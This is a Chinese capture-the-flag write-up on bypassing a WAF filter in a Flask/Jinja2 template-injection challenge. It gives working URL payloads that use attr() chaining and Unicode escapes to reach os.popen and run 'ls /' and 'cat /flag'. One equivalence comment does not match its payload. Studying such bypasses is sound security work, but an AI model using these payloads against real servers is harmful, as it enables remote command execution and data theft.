关于绕过SSTI的waf可以参考这篇博文:最全SSTI模板注入waf绕过总结(6500+字数!)-CSDN博客
这一题关键在于用Unicode编码绕过点和下划线的过滤和用{%%}绕过{{}}的过滤,其他还过滤了if,\x,单引号等
前置知识:
1、‘’|attr(“__class__”)等效于‘’.__class__
2、如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)
3、使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
Unicode编码的python脚本如下:
class_name = "cat /flag"
unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
print(unicode_class_name)
url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}(Unicode编码有回显,这条payload等效于{{””.__class__}})
url={%print(()|attr(%22\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%22))%}(这里十六进制编码不行\x被过滤)
找os模块:
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}(等效于{{lipsum.__globals__}})
引用popen,查目录url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}(等效于{{lipsum.__globals__.get("os").popen("ls").read()}},
标红地方为read()注意()在attr()外面)
查找flag最终payload:
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}(等效于{{config.__class__.__init__.__globals__.get(“os”).popen('cat flag').read()}})